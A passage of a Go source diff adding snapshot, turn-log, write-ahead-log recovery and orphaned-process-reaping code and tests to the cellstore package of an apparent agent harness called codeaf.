error { + for _, in := range v.rec.Incomplete() { + if err := v.rec.Resolve(in); err != nil { + return err + } + } + return nil +} diff --git a/internal/cellstore/l8_test.go b/internal/cellstore/l8_test.go new file mode 100644 index 0000000000..a9f20832ee --- /dev/null +++ b/internal/cellstore/l8_test.go @@ -0,0 +1,126 @@ +package cellstore + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// treeDigest lists every path under root with its mode, link target and +// content hash, skipping the engine's own directories and the turn log the +// seal appends after it snapshots. +func treeDigest(t *testing.T, root string) []string { + t.Helper() + var lines []string + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + r, _ := filepath.Rel(root, path) + r = filepath.ToSlash(r) + if err != nil || r == "." || skippedByDigest(r) { + if d != nil && d.IsDir() && skippedByDigest(r) { + return fs.SkipDir + } + return err + } + lines = append(lines, describe(t, path, r, d)) + return nil + }) + if err != nil { + t.Fatal(err) + } + sort.Strings(lines) + return lines +} + +func skippedByDigest(rel string) bool { + return rel == ".git" || rel == ".furrow" || rel == TurnsPath +} + +func describe(t *testing.T, path, rel string, d fs.DirEntry) string { + info, err := os.Lstat(path) + if err != nil { + t.Fatal(err) + } + switch { + case d.IsDir(): + return rel + "/ " + info.Mode().String() + case info.Mode()&fs.ModeSymlink != 0: + to, _ := os.Readlink(path) + return rel + " -> " + filepath.ToSlash(to) + } + raw, _ := os.ReadFile(path) + sum := sha256.Sum256(raw) + return rel + " " + info.Mode().String() + " " + hex.EncodeToString(sum[:8]) +} + +func writeTree(t *testing.T, root string, files map[string]string, mode os.FileMode) { + t.Helper() + for name, body := range files { + p := filepath.Join(root, name) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), mode); err != nil { + t.Fatal(err) + } + } +} + +// L8 (local half): a sealed turn restores byte-for-byte, mode-for-mode, after +// the tree was damaged. The bucket-only half lands with the store in stage 1. +func TestL8SealedTurnRestoresByteIdentical(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + writeTree(t, c.Root, map[string]string{ + "src/main.go": "package main\n", + "src/deep/a/b/c.md": "# deep\n", + "empty": "", + "bin/blob": string([]byte{0, 1, 2, 0xff, 0xfe, 0}), + "café/naïve.txt": "unicode names\n", + }, 0o644) + writeTree(t, c.Root, map[string]string{"run.sh": "#!/bin/sh\necho hi\n"}, 0o755) + if err := os.Symlink("src/main.go", filepath.Join(c.Root, "link")); err != nil { + t.Fatal(err) + } + transcript, _ := c.Path(cell.TranscriptPath) + if err := os.WriteFile(transcript, []byte(`{"role":"user"}`+"\n"), 0o600); err != nil { + t.Fatal(err) + } + + sealed, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}) + if err != nil { + t.Fatal(err) + } + want := treeDigest(t, c.Root) + + damage(t, c.Root) + if got := treeDigest(t, c.Root); strings.Join(got, "\n") == strings.Join(want, "\n") { + t.Fatal("damage changed nothing; the test proves nothing") + } + if _, err := e.do(context.Background(), c, e.cellDir(c), restoreOp{Snapshot: sealed.Turn.ID}); err != nil { + t.Fatal(err) + } + if got := treeDigest(t, c.Root); strings.Join(got, "\n") != strings.Join(want, "\n") { + t.Fatalf("restored tree differs.\nwant:\n%s\ngot:\n%s", strings.Join(want, "\n"), strings.Join(got, "\n")) + } + }) +} + +func damage(t *testing.T, root string) { + t.Helper() + for _, p := range []string{"src", "empty", "link", "café"} { + if err := os.RemoveAll(filepath.Join(root, p)); err != nil { + t.Fatal(err) + } + } + writeTree(t, root, map[string]string{"stray.txt": "not sealed", "run.sh": "changed"}, 0o600) + _ = os.Chmod(filepath.Join(root, "bin/blob"), 0o600) +} diff --git a/internal/cellstore/law_test.go b/internal/cellstore/law_test.go new file mode 100644 index 0000000000..bfc0a0a748 --- /dev/null +++ b/internal/cellstore/law_test.go @@ -0,0 +1,69 @@ +package cellstore + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "path/filepath" + "strings" + "testing" +) + +// L2: only the harness commits. A Turn is a sealed commit, so exactly one +// function builds one: newTurn in turn.go. This walks every non-test file in +// the tree and refuses a Turn composite literal anywhere else. +func TestL2OnlyNewTurnConstructsATurn(t *testing.T) { + var offenders []string + root := filepath.Join("..", "..") + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil || (d.IsDir() && skipDir(d.Name())) || d.IsDir() || !strings.HasSuffix(path, ".go") || strings.HasSuffix(path, "_test.go") { + return err + } + offenders = append(offenders, turnLiterals(t, path)...) + return nil + }) + if err != nil { + t.Fatal(err) + } + if len(offenders) != 0 { + t.Fatalf("Turn built outside newTurn (law L2): %v", offenders) + } +} + +func skipDir(name string) bool { + return name == ".git" || name == "node_modules" || name == "target" || name == "third_party" +} + +func turnLiterals(t *testing.T, path string) []string { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + return nil + } + inCellstore := f.Name.Name == "cellstore" + var out []string + for _, decl := range f.Decls { + fn, isFn := decl.(*ast.FuncDecl) + allowed := isFn && fn.Name.Name == "newTurn" && inCellstore + ast.Inspect(decl, func(n ast.Node) bool { + if lit, ok := n.(*ast.CompositeLit); ok && !allowed && isTurnType(lit.Type, inCellstore) { + out = append(out, fset.Position(lit.Pos()).String()) + } + return true + }) + } + return out +} + +// isTurnType matches Turn inside this package and cellstore.Turn outside it. +func isTurnType(e ast.Expr, inside bool) bool { + switch x := e.(type) { + case *ast.Ident: + return inside && x.Name == "Turn" + case *ast.SelectorExpr: + pkg, ok := x.X.(*ast.Ident) + return ok && pkg.Name == "cellstore" && x.Sel.Name == "Turn" + } + return false +} diff --git a/internal/cellstore/log.go b/internal/cellstore/log.go new file mode 100644 index 0000000000..ee9050092e --- /dev/null +++ b/internal/cellstore/log.go @@ -0,0 +1,88 @@ +package cellstore + +import ( + "bufio" + "bytes" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "slices" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Entry is one turn of the chain with its receipt. +type Entry struct { + Turn Turn + Receipt Receipt + // Adopted is set on the entry that stands for a head this device received + // rather than sealed: the name of the device that sealed it, "" when the + // chat did not say. Such an entry has no receipt. + Adopted string + IsAdopted bool +} + +// Turns reads the cell's whole chain, oldest first. A cell that was never +// sealed has an empty chain. +func Turns(c cell.Cell) ([]Turn, error) { + raw, err := os.ReadFile(rel(c, TurnsPath)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var turns []Turn + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var t Turn + if err := json.Unmarshal(sc.Bytes(), &t); err != nil { + return nil, fmt.Errorf("read turns: %w", err) + } + turns = append(turns, t) + } + return turns, sc.Err() +} + +// Log is the chain with receipts, newest first. +func Log(c cell.Cell) ([]Entry, error) { + turns, err := Turns(c) + if err != nil { + return nil, err + } + slices.Reverse(turns) + entries := make([]Entry, 0, len(turns)+1) + if from, ok := Adopted(c); ok { + head, _ := Head(c) + entries = append(entries, Entry{Turn: head.Turn, Adopted: from, IsAdopted: true}) + } + for _, t := range turns { + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, fmt.Errorf("turn %s: %w", t.ID, err) + } + entries = append(entries, Entry{Turn: t, Receipt: r}) + } + return entries, nil +} + +// Resolve finds the one turn whose id starts with ref. +func Resolve(turns []Turn, ref string) (found Turn, err error) { + if ref == "" { + return found, errors.New("name a turn") + } + var hits []Turn + for _, t := range turns { + if strings.HasPrefix(t.ID, ref) { + hits = append(hits, t) + } + } + if len(hits) != 1 { + return found, fmt.Errorf("turn %q: %d matches in this cell", ref, len(hits)) + } + return hits[0], nil +} diff --git a/internal/cellstore/materialize.go b/internal/cellstore/materialize.go new file mode 100644 index 0000000000..61efa5afd3 --- /dev/null +++ b/internal/cellstore/materialize.go @@ -0,0 +1,98 @@ +package cellstore + +import ( + "context" + "fmt" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Capture snapshots the cell's folder as it stands and answers the snapshot +// id. It is not a turn: nothing is appended to the chain. The disk budget +// takes one just before it removes a working tree, so nothing the tree held +// since the last seal is lost. +func (e Engine) Capture(ctx context.Context, c cell.Cell) (string, error) { + if err := Await(ctx, c); err != nil { + return "", err + } + if err := e.recoverCompleted(ctx, c); err != nil { + return "", err + } + if err := e.screenCapture(ctx, c); err != nil { + return "", err + } + var op Op = snapOp{Message: "materialization capture"} + // A new chat may need a capture before its first recorded turn. The seal + // verb attaches a named timeline atomically; snap requires one already there. + head, err := Head(c) + if err != nil { + return "", err + } + if head == nil { + op = sealOp{Turn: "materialization capture"} + } + out, err := e.do(ctx, c, e.cellDir(c), op) + if err != nil { + return "", fmt.Errorf("capture: %w", err) + } + return parseSnapshot(out) +} + +// Restore writes the snapshot back into the cell's folder, byte for byte: +// only the named top-level paths, or the whole tree when none are named. A +// composed .cell/ is restored in place, chain files included, so this is for a +// snapshot that is the cell's newest state; a rewind uses restoreKeepingChain. +func (e Engine) Restore(ctx context.Context, c cell.Cell, snapshot string, paths []string) error { + return e.restore(ctx, c, snapshot, paths, e.cellDir(c)) +} + +func (e Engine) restore(ctx context.Context, c cell.Cell, snapshot string, paths []string, cellDir string) error { + if err := e.screenCapture(ctx, c); err != nil { + return err + } + if _, err := e.do(ctx, c, cellDir, restoreOp{Snapshot: snapshot, Paths: paths}); err != nil { + return fmt.Errorf("restore: %w", err) + } + return nil +} + +// screenCapture applies the seal's guard before any other operation that may +// snapshot the current folder, including the engine's automatic undo snapshot. +func (e Engine) screenCapture(ctx context.Context, c cell.Cell) error { + s, err := e.Guard.Look(c, e.tree(c), e.policyDir(c), nil, knownLocks(c)) + if err != nil { + return err + } + return noteLeftOut(c, e.tree(c), s, nil) +} + +// recoverCompleted carries a dead process's durable outputs into its next +// capture. The WAL stays local, but a branch or move must include the receipt +// of a completed external call even if death preceded its background seal (D4, +// L9). Incomplete intents remain unresolved and are never executed here. +func (e Engine) recoverCompleted(ctx context.Context, c cell.Cell) error { + _, recovery, err := OpenWAL(e.WALPath(c)) + if err != nil { + return err + } + if len(recovery.Completed) == 0 { + return nil + } + _, err = e.SealRecovered(ctx, c) + return err +} + +// SealRecovered keeps local edits and a dead process's completed calls in the +// same turn before take-back sets them aside as a branch (D4, L9). A call that +// only returned external output is still work; incomplete intents stay local. +func (e Engine) SealRecovered(ctx context.Context, c cell.Cell) (Sealed, error) { + wal, recovery, err := OpenWAL(e.WALPath(c)) + if err != nil { + return Sealed{}, err + } + sealed, err := e.Seal(ctx, c, TurnInfo{Calls: recovery.Completed, Changed: changedOf(recovery.Completed)}) + if err != nil || len(recovery.Completed) == 0 { + return sealed, err + } + return sealed, wal.Sealed(recovery.Completed) +} diff --git a/internal/cellstore/modelcall_test.go b/internal/cellstore/modelcall_test.go new file mode 100644 index 0000000000..8aa9b335d8 --- /dev/null +++ b/internal/cellstore/modelcall_test.go @@ -0,0 +1,84 @@ +package cellstore + +import ( + "context" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +func noted(model string, in, out int, micro int64) executor.ModelCall { + return executor.ModelCall{Model: model, Role: "turn", TokensIn: in, TokensOut: out, TokensCached: in / 2, CostMicroUSD: micro} +} + +func seatWith(t *testing.T, c cell.Cell, e Engine) sealed { + t.Helper() + rec, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{}) + if err != nil { + t.Fatal(err) + } + return sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} +} + +func toolCall(t *testing.T, s sealed) { + t.Helper() + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"x"}`)} + if err := s.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } +} + +// A turn with two model calls carries both in its receipt, and the next seal +// does not carry them again. +func TestReceiptCarriesEveryModelCallSinceThePreviousSeal(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + seat := seatWith(t, c, fake.engine(t)) + executor.NoteModelCall(seat, noted("m-a", 100, 10, 500)) + executor.NoteModelCall(seat, noted("m-b", 200, 20, 700)) + toolCall(t, seat) + head, _ := Head(c) + got := head.Receipt.ModelCalls + if len(got) != 2 || got[0].Model != "m-a" || got[1].CostMicroUSD != 700 || got[1].TokensCached != 100 || got[0].Role != "turn" { + t.Fatalf("model calls %+v", got) + } + toolCall(t, seat) + if head, _ = Head(c); len(head.Receipt.ModelCalls) != 0 { + t.Fatalf("second seal repeated %+v", head.Receipt.ModelCalls) + } +} + +// A rewind restores an earlier turn, and the chain still holds what the +// rewound-past turns spent. +func TestRewindKeepsSpendAlreadyPaid(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + seat := seatWith(t, c, e) + for i, micro := range []int64{100, 200, 400} { + executor.NoteModelCall(seat, noted("m", 10*(i+1), i+1, micro)) + writeTree(t, c.Root, map[string]string{"f.txt": string(rune('a' + i))}, 0o644) + toolCall(t, seat) + } + before := micros(t, c) + turns, _ := Turns(c) + mustRewind(t, e, c, turns[0].ID) + if after := micros(t, c); after != before || after != 700 { + t.Fatalf("spend %d before rewind, %d after", before, after) + } + }) +} + +func micros(t *testing.T, c cell.Cell) (sum int64) { + t.Helper() + all, err := ModelCalls(c) + if err != nil { + t.Fatal(err) + } + for _, m := range all { + sum += m.CostMicroUSD + } + return sum +} diff --git a/internal/cellstore/ops.go b/internal/cellstore/ops.go new file mode 100644 index 0000000000..b2d49951c6 --- /dev/null +++ b/internal/cellstore/ops.go @@ -0,0 +1,45 @@ +package cellstore + +// sealOp is the turn-end seal: attach the folder if the store has not seen it +// and snapshot it, labelled with the receipt id. +type sealOp struct { + Turn string `json:"turn"` + // Changed lists the paths to visit; nil walks the tree. + Changed []string `json:"changed"` +} + +func (sealOp) Verb() string { return "seal" } + +func (o sealOp) Args() []string { + args := []string{"--json", "hook", "turn-end", "--turn", o.Turn} + for _, p := range o.Changed { + args = append(args, "--changed", p) + } + return args +} + +// snapOp is a labelled snapshot that is not a turn. +type snapOp struct { + Message string `json:"message"` +} + +func (snapOp) Verb() string { return "snap" } + +func (o snapOp) Args() []string { return []string{"--json", "snap", "-m", o.Message} } + +// restoreOp writes a snapshot back, byte for byte. +type restoreOp struct { + Snapshot string `json:"snapshot"` + // Paths limits the restore to these top-level paths; empty is the tree. + Paths []string `json:"paths,omitempty"` +} + +func (restoreOp) Verb() string { return "restore" } + +func (o restoreOp) Args() []string { + args := []string{"--json", "rewind", o.Snapshot, "--yes"} + for _, p := range o.Paths { + args = append(args, "--paths="+p) + } + return args +} diff --git a/internal/cellstore/orphans.go b/internal/cellstore/orphans.go new file mode 100644 index 0000000000..2a8f08630b --- /dev/null +++ b/internal/cellstore/orphans.go @@ -0,0 +1,79 @@ +package cellstore + +import ( + "os" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// reapGrace is how long a group is given to leave after it is asked to, before +// it is made to. +const reapGrace = 2 * time.Second + +const reapPoll = 25 * time.Millisecond + +// GroupRec is a process group a call started and the process that started it, +// each with the identity it had then. A pid alone is not enough to act on later: +// numbers are handed out again, and ending a group that is somebody else's would +// destroy work that is not this cell's. +type GroupRec struct { + PGID int `json:"pgid"` + Start uint64 `json:"start"` + Owner int `json:"owner"` + OwnerStart uint64 `json:"owner_start"` +} + +// groupRec names a group this process just started, and this process as its owner. +func groupRec(pgid int) GroupRec { + self := os.Getpid() + return GroupRec{PGID: pgid, Start: processgroup.StartOf(pgid), Owner: self, OwnerStart: processgroup.StartOf(self)} +} + +// orphaned reports whether the process that started the group is gone. +func (g GroupRec) orphaned() bool { return !processgroup.Running(g.Owner, g.OwnerStart) } + +func (g GroupRec) group() processgroup.Group { return processgroup.Recorded(g.PGID, g.Start) } + +// reapOrphans ends the process groups that unfinished calls left running after +// the session that owned them died: asked to stop, then made to once the grace +// is over. It only ever names groups this log recorded, and a group whose owner +// still runs, or whose leader is no longer the process recorded, is not touched. +func reapOrphans(intents []Intent, grace time.Duration) { + live := liveOrphans(intents) + for _, g := range live { + _ = g.Terminate() + } + waitUntil(grace, func() bool { return len(stillAlive(live)) == 0 }) + for _, g := range stillAlive(live) { + _ = g.Kill() + } +} + +func liveOrphans(intents []Intent) []processgroup.Group { + var out []processgroup.Group + for _, in := range intents { + for _, rec := range in.Groups { + if g := rec.group(); rec.orphaned() && g.Alive() { + out = append(out, g) + } + } + } + return out +} + +func stillAlive(groups []processgroup.Group) []processgroup.Group { + var out []processgroup.Group + for _, g := range groups { + if g.Alive() { + out = append(out, g) + } + } + return out +} + +func waitUntil(limit time.Duration, done func() bool) { + for deadline := time.Now().Add(limit); !done() && time.Now().Before(deadline); { + time.Sleep(reapPoll) + } +} diff --git a/internal/cellstore/orphans_test.go b/internal/cellstore/orphans_test.go new file mode 100644 index 0000000000..331f3cff6e --- /dev/null +++ b/internal/cellstore/orphans_test.go @@ -0,0 +1,214 @@ +//go:build !windows + +package cellstore + +import ( + "context" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// startGroup starts a sleeping process as the leader of its own group and +// returns it with a channel that closes when it is gone. +func startGroup(t *testing.T) (*exec.Cmd, <-chan struct{}) { + t.Helper() + cmd := exec.Command("sleep", "60") //codeaf:plumbing test double for a tool's process + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + gone := make(chan struct{}) + go func() { _ = cmd.Wait(); close(gone) }() + t.Cleanup(func() { _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL); <-gone }) + return cmd, gone +} + +// deadProcess is an owner that no longer exists, with the identity it had. +func deadProcess(t *testing.T) (pid int, start uint64) { + t.Helper() + cmd, gone := startGroup(t) + pid, start = cmd.Process.Pid, processgroup.StartOf(cmd.Process.Pid) + _ = cmd.Process.Kill() + <-gone + return pid, start +} + +// crashWithGroup leaves the WAL a killed session would: an intent for a shell +// call, and the group it started, owned by owner. +func crashWithGroup(t *testing.T, wal string, group *exec.Cmd, owner int, ownerStart uint64) { + t.Helper() + w, _, err := OpenWAL(wal) + if err != nil { + t.Fatal(err) + } + in := Intent{V: walV, Tool: "bash", ArgsHash: "h", Started: 7, SideEffect: "local", Brief: "sleep 60"} + rec := GroupRec{PGID: group.Process.Pid, Start: processgroup.StartOf(group.Process.Pid), Owner: owner, OwnerStart: ownerStart} + if err := w.Begin(in); err != nil { + t.Fatal(err) + } + if err := w.Started(in, rec); err != nil { + t.Fatal(err) + } +} + +func reopen(t *testing.T, wal string) *Recorder { + t.Helper() + r, _ := newRecorder(t, newCell(t), &stubExec{}, wal) + return r +} + +func TestReopenEndsTheGroupItsDeadOwnerLeft(t *testing.T) { + group, gone := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + + reopen(t, wal) + + select { + case <-gone: + case <-time.After(5 * time.Second): + t.Fatal("the orphaned group was still running after reopen") + } +} + +func TestReopenNeverTouchesAGroupItsOwnerStillRuns(t *testing.T) { + group, gone := startGroup(t) + self := processgroup.StartOf(selfPID()) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, selfPID(), self) + + reopen(t, wal) + + select { + case <-gone: + t.Fatal("a group whose owner is alive was ended") + case <-time.After(300 * time.Millisecond): + } +} + +func TestReopenNeverTouchesAGroupWhoseLeaderIsNotTheOneRecorded(t *testing.T) { + group, gone := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + staleStart := processgroup.StartOf(group.Process.Pid) + 1 + rewriteGroupStart(t, wal, staleStart) + + reopen(t, wal) + + select { + case <-gone: + t.Fatal("a group whose recorded identity no longer matches was ended") + case <-time.After(300 * time.Millisecond): + } +} + +func rewriteGroupStart(t *testing.T, wal string, start uint64) { + t.Helper() + recs, err := (&WAL{path: wal}).read() + if err != nil { + t.Fatal(err) + } + for i := range recs { + if recs[i].Group != nil { + recs[i].Group.Start = start + } + } + if err := (&WAL{path: wal}).rewrite(recs); err != nil { + t.Fatal(err) + } +} + +// A shell call that a kill -9 leaves behind: the recorder was told the group by +// the tool, and the process died before the call did. +func TestAroundRecordsTheGroupTheToolStarted(t *testing.T) { + group, _ := startGroup(t) + wal := filepath.Join(t.TempDir(), "wal") + r, _ := newRecorder(t, newCell(t), &stubExec{}, wal) + ctx, spawns := executor.WithSpawns(context.Background()) + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"sleep 60"}`), Spawns: spawns} + func() { + defer func() { _ = recover() }() + _ = r.Around(ctx, call, executor.EffectLocal, AgentRun, func() ([]byte, bool) { + executor.Spawned(ctx, group.Process.Pid) + panic("harness died") + }) + }() + + _, rec, err := OpenWAL(wal) + if err != nil || len(rec.Incomplete) != 1 { + t.Fatalf("incomplete %+v, err %v", rec.Incomplete, err) + } + got := rec.Incomplete[0] + if got.Brief != "sleep 60" || len(got.Groups) != 1 || got.Groups[0].PGID != group.Process.Pid || got.Groups[0].Owner != selfPID() { + t.Fatalf("intent %+v", got) + } +} + +func TestInterruptedSaysWhichCallWasCutOffAndClosesOnce(t *testing.T) { + group, _ := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + + cut := reopen(t, wal).Interrupted() + lines := cut.Lines() + if len(lines) != 1 || !strings.Contains(lines[0], "bash: sleep 60") || !strings.Contains(lines[0], "stopped when codeaf was killed — not run again") { + t.Fatalf("lines %q", lines) + } + if note := cut.Note(); !strings.Contains(note, "bash: sleep 60") || !strings.Contains(note, "Do not assume any of them succeeded") { + t.Fatalf("note %q", note) + } + if err := cut.Close(); err != nil { + t.Fatal(err) + } + again := reopen(t, wal).Interrupted() + if len(again.Lines()) != 0 || again.Note() != "" { + t.Fatal("a closed call was told again") + } +} + +func TestAnOlderLogWithoutBriefOrGroupsStillReplays(t *testing.T) { + wal := filepath.Join(t.TempDir(), "wal") + old, _ := json.Marshal(map[string]any{"V": 1, "op": "intent", + "intent": map[string]any{"V": 1, "tool": "bash", "args_hash": "h", "started": 1, "side_effect": "local"}}) + if err := writeLog(wal, string(old)+"\n"); err != nil { + t.Fatal(err) + } + lines := reopen(t, wal).Interrupted().Lines() + if len(lines) != 1 || !strings.HasPrefix(lines[0], "bash — stopped") { + t.Fatalf("lines %q", lines) + } +} + +func TestBriefOfReadsTheArgumentThatNamesTheCall(t *testing.T) { + for args, want := range map[string]string{ + `{"command":"ls -la\n/tmp"}`: "ls -la /tmp", + `{"path":"a/b.go","x":"y"}`: "a/b.go", + `{"other":1}`: "", + `not json`: "", + } { + if got := briefOf([]byte(args)); got != want { + t.Errorf("briefOf(%s) = %q, want %q", args, got, want) + } + } + if long := briefOf([]byte(`{"command":"` + strings.Repeat("x", 200) + `"}`)); len([]rune(long)) != briefMax { + t.Errorf("long brief has %d runes, want %d", len([]rune(long)), briefMax) + } +} + +func selfPID() int { return syscall.Getpid() } + +func writeLog(path, text string) error { + return os.WriteFile(path, []byte(text), 0o600) +} diff --git a/internal/cellstore/persist.go b/internal/cellstore/persist.go new file mode 100644 index 0000000000..e67195666e --- /dev/null +++ b/internal/cellstore/persist.go @@ -0,0 +1,217 @@ +package cellstore + +import ( + "bytes" + "encoding/json" + "errors" + "io" + "io/fs" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// tailBytes is how much of turns.jsonl is read to find the last turn; a turn +// line is a few hundred bytes. +const tailBytes = 8192 + +// maxBlob caps a stored external-call output (SCHEMAS.md Q8). A larger stream +// is kept as its hash only. +const maxBlob = 1 << 20 + +// rel joins a cell-relative path onto the cell root. +func rel(c cell.Cell, p string) string { return filepath.Join(c.Root, filepath.FromSlash(p)) } + +// writeFile creates the file's directory and writes it. Content-addressed +// files are idempotent, so no rename dance is needed. +func writeFile(path string, data []byte) error { + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + return os.WriteFile(path, data, 0o600) +} + +// compose writes every harness-owned file the seal will carry: meta.json +// as the harness holds it, the receipt, and the output blobs of external calls. +func (e Engine) compose(c cell.Cell, raw []byte, id string, info TurnInfo) error { + if err := c.RestoreMeta(); err != nil { + return err + } + if err := writeFile(rel(c, ReceiptsDir+"/"+id+".json"), raw); err != nil { + return err + } + if err := writeBlobs(c, info); err != nil { + return err + } + commits.mark(c.Root, rel(c, ReceiptsDir+"/"+id+".json"), true) + commits.mark(c.Root, rel(c, cell.TranscriptPath), false) + return e.composeExtra(c) +} + +// composeExtra runs the engine's Composer. A cell that seals its own folder has +// nothing outside the tree to carry: what would be composed already sits in it. +func (e Engine) composeExtra(c cell.Cell) error { + if e.Compose == nil || e.cellDir(c) == "" { + return nil + } + return e.Compose.Compose(c) +} + +func writeBlobs(c cell.Cell, info TurnInfo) error { + for _, e := range info.Calls { + for _, out := range [][]byte{e.Stdout, e.Stderr} { + if len(out) == 0 || len(out) > maxBlob { + continue + } + path := rel(c, BlobsDir+"/"+hashHex(out)) + if err := writeFile(path, out); err != nil { + return err + } + commits.mark(c.Root, path, true) + } + } + return nil +} + +// transcriptRange is what the transcript gained since the last seal. A cell +// with no transcript yet has an empty range at zero. +func transcriptRange(c cell.Cell, last *Sealed) Range { + var start, end int64 + if last != nil { + start = last.Receipt.Transcript.End + } + if info, err := os.Stat(rel(c, cell.TranscriptPath)); err == nil { + end = info.Size() + } + // A transcript shorter than the last seal saw was rewound: what it gained + // is counted from where it now ends. + return Range{Start: min(start, end), End: end} +} + +// appendTurn adds the turn to the cell's chain, durably. +func appendTurn(c cell.Cell, t Turn) error { + line, err := json.Marshal(t) + if err != nil { + return err + } + path := rel(c, TurnsPath) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + if err := repairTurnTail(path); err != nil { + return err + } + _, before := os.Stat(path) + created := errors.Is(before, fs.ErrNotExist) + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(append(line, '\n')); err != nil { + _ = f.Close() + return err + } + err = f.Close() + commits.mark(c.Root, path, created) + return err +} + +// Head is the newest sealed turn of the cell and its receipt, or nil for a +// cell that was never sealed. +func Head(c cell.Cell) (*Sealed, error) { + t, err := lastTurn(rel(c, TurnsPath)) + if err != nil { + return nil, err + } + if a, ok := currentAdoption(c); ok { + sealed := a.sealed(t) + return &sealed, nil + } + if t == nil { + return nil, nil + } + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, err + } + return &Sealed{Turn: *t, Receipt: r}, nil +} + +func readReceipt(c cell.Cell, id string) (Receipt, error) { + raw, err := os.ReadFile(rel(c, ReceiptsDir+"/"+id+".json")) + if err != nil { + return Receipt{}, err + } + var r Receipt + return r, json.Unmarshal(raw, &r) +} + +// lastTurn reads the final line of turns.jsonl without reading the rest. +func lastTurn(path string) (*Turn, error) { + f, err := os.Open(path) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + defer f.Close() + tail, err := readTail(f) + if err != nil { + return nil, err + } + // A power cut can tear the last append even when its newline survived. + // Only complete readable turns were published; keep the preceding one (C28). + end := bytes.LastIndexByte(tail, '\n') + for end >= 0 { + start := bytes.LastIndexByte(tail[:end], '\n') + 1 + var t Turn + if err := json.Unmarshal(tail[start:end], &t); err == nil { + return &t, nil + } + end = start - 1 + } + return nil, nil +} + +func readTail(f *os.File) ([]byte, error) { + size, err := f.Seek(0, io.SeekEnd) + if err != nil { + return nil, err + } + from := max(0, size-tailBytes) + if _, err := f.Seek(from, io.SeekStart); err != nil { + return nil, err + } + return io.ReadAll(f) +} + +// repairTurnTail keeps the ordinary append bounded to the last few turns. +// Only a torn tail needs the full recovery read; long chats must not reread +// their whole history on every command just to handle a possible power cut. +func repairTurnTail(path string) error { + f, err := os.Open(path) + if errors.Is(err, fs.ErrNotExist) { + return nil + } + if err != nil { + return err + } + tail, err := readTail(f) + _ = f.Close() + if err != nil { + return err + } + if len(tail) == 0 { + return nil + } + if tail[len(tail)-1] == '\n' { + start := bytes.LastIndexByte(tail[:len(tail)-1], '\n') + 1 + var turn Turn + if json.Unmarshal(tail[start:len(tail)-1], &turn) == nil { + return nil + } + } + return repairLogTail(path) +} diff --git a/internal/cellstore/pipeline.go b/internal/cellstore/pipeline.go new file mode 100644 index 0000000000..fee27b72e5 --- /dev/null +++ b/internal/cellstore/pipeline.go @@ -0,0 +1,183 @@ +package cellstore + +import ( + "context" + "fmt" + "sync" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/guard" +) + +// SealWithin bounds capture and every boundary that must keep it. A timed-out +// capture remains in the WAL and is reported, never acknowledged as sealed. +const SealWithin = executor.DrainWithin + +type captureState struct { + done chan struct{} + err error +} + +var captures = struct { + sync.Mutex + cells map[string]*captureState +}{cells: map[string]*captureState{}} + +// Await waits for this process's pending capture before a move, upload or +// displacement can read its head. It does not start work or contact a relay. +func Await(ctx context.Context, c cell.Cell) error { + if err := Captured(ctx, c); err != nil { + return err + } + return commits.flush(ctx, c.Root) +} + +// Captured waits for the prior file capture without forcing a group commit. +// The next command's ownership check needs this screen 